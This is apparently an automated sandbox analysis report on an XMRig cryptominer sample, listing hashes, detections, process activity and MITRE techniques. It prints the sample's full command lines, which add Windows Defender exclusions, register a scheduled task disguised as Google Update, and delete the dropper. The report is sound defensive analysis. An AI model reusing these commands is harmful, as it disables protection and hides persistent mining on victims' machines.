xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

Resubmissions

07/09/2023, 19:17

230907-xzr8qadd57 10

28/08/2023, 15:19

230828-sqlmcsca84 10

26/08/2023, 15:20

230826-sqx1dsdd2t 10

20/08/2023, 00:22

230820-an3hzscg53 10

Analysis

max time kernel
351s
max time network
1808s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
07/09/2023, 19:17

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Report Analysis Logs

General

Target

QNREJhVYDhHk52cq3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2192 created 1236	2192	QNREJhVYDhHk52cq3.exe	14
PID 2192 created 1236	2192	QNREJhVYDhHk52cq3.exe	14
PID 2192 created 1236	2192	QNREJhVYDhHk52cq3.exe	14
PID 2192 created 1236	2192	QNREJhVYDhHk52cq3.exe	14
PID 2904 created 1236	2904	updater.exe	14
PID 2904 created 1236	2904	updater.exe	14
PID 2904 created 1236	2904	updater.exe	14
PID 2808 created 1236	2808	conhost.exe	14
PID 2904 created 1236	2904	updater.exe	14
PID 2904 created 1236	2904	updater.exe	14

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral1/memory/2156-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2156-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2540	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2904	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1528	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2156-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2156-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 2808	2904	updater.exe	47
PID 2904 set thread context of 2156	2904	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	QNREJhVYDhHk52cq3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2676	schtasks.exe
1156	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1452	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0813aa1c4e1d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2192	QNREJhVYDhHk52cq3.exe
2192	QNREJhVYDhHk52cq3.exe
1988	powershell.exe
2192	QNREJhVYDhHk52cq3.exe
2192	QNREJhVYDhHk52cq3.exe
2644	powershell.exe
2192	QNREJhVYDhHk52cq3.exe
2192	QNREJhVYDhHk52cq3.exe
2192	QNREJhVYDhHk52cq3.exe
2192	QNREJhVYDhHk52cq3.exe
2660	powershell.exe
2904	updater.exe
2904	updater.exe
1072	powershell.exe
2904	updater.exe
2904	updater.exe
2560	powershell.exe
2904	updater.exe
2904	updater.exe
2808	conhost.exe
2808	conhost.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2904	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeLockMemoryPrivilege	2156	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2676	2644	powershell.exe	31
PID 2644 wrote to memory of 2676	2644	powershell.exe	31
PID 2644 wrote to memory of 2676	2644	powershell.exe	31
PID 2540 wrote to memory of 2612	2540	cmd.exe	36
PID 2540 wrote to memory of 2612	2540	cmd.exe	36
PID 2540 wrote to memory of 2612	2540	cmd.exe	36
PID 2660 wrote to memory of 1964	2660	powershell.exe	37
PID 2660 wrote to memory of 1964	2660	powershell.exe	37
PID 2660 wrote to memory of 1964	2660	powershell.exe	37
PID 1528 wrote to memory of 2904	1528	taskeng.exe	39
PID 1528 wrote to memory of 2904	1528	taskeng.exe	39
PID 1528 wrote to memory of 2904	1528	taskeng.exe	39
PID 2560 wrote to memory of 1156	2560	powershell.exe	46
PID 2560 wrote to memory of 1156	2560	powershell.exe	46
PID 2560 wrote to memory of 1156	2560	powershell.exe	46
PID 2904 wrote to memory of 2808	2904	updater.exe	47
PID 2776 wrote to memory of 1452	2776	cmd.exe	52
PID 2776 wrote to memory of 1452	2776	cmd.exe	52
PID 2776 wrote to memory of 1452	2776	cmd.exe	52
PID 2904 wrote to memory of 2156	2904	updater.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1236
- C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe
  "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1964
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1156
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2808
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1452
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2156

C:\Windows\system32\taskeng.exe
taskeng.exe {0F486FE9-24AF-4A69-8E08-54B41ED65483} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f55c1914f189eaba13671118194335f7

SHA1
bc2faea2cc0c46ddf3766f4ea98cd9aee6eb2292

SHA256
add6813d0872216bd7fe373816de8e3b25ee8687a953f9db24755898b6d7b2c2

SHA512
e6ed2f1b1f6528c4cd9a37ea1de4a596a10c0b23781931edf9edb36e11b663ce960ed2350856e72dc3dfb216ecea26cfefee0421127b9e139d75356a045a8d6d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f55c1914f189eaba13671118194335f7

SHA1
bc2faea2cc0c46ddf3766f4ea98cd9aee6eb2292

SHA256
add6813d0872216bd7fe373816de8e3b25ee8687a953f9db24755898b6d7b2c2

SHA512
e6ed2f1b1f6528c4cd9a37ea1de4a596a10c0b23781931edf9edb36e11b663ce960ed2350856e72dc3dfb216ecea26cfefee0421127b9e139d75356a045a8d6d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WR0B0X0HVMFDC9MDGSJ1.temp

Filesize
7KB

MD5
f55c1914f189eaba13671118194335f7

SHA1
bc2faea2cc0c46ddf3766f4ea98cd9aee6eb2292

SHA256
add6813d0872216bd7fe373816de8e3b25ee8687a953f9db24755898b6d7b2c2

SHA512
e6ed2f1b1f6528c4cd9a37ea1de4a596a10c0b23781931edf9edb36e11b663ce960ed2350856e72dc3dfb216ecea26cfefee0421127b9e139d75356a045a8d6d

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1072-50-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1072-48-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1072-46-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1072-47-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1072-49-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1072-52-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1072-51-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1988-9-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1988-8-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1988-12-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1988-10-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1988-11-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1988-7-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1988-6-0x0000000002180000-0x0000000002188000-memory.dmp

Filesize
32KB

Download
memory/1988-5-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2156-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-140-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-138-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-68-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2156-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-75-0x0000000000330000-0x0000000000350000-memory.dmp

Filesize
128KB

Download
memory/2156-71-0x00000000003E0000-0x0000000000400000-memory.dmp

Filesize
128KB

Download
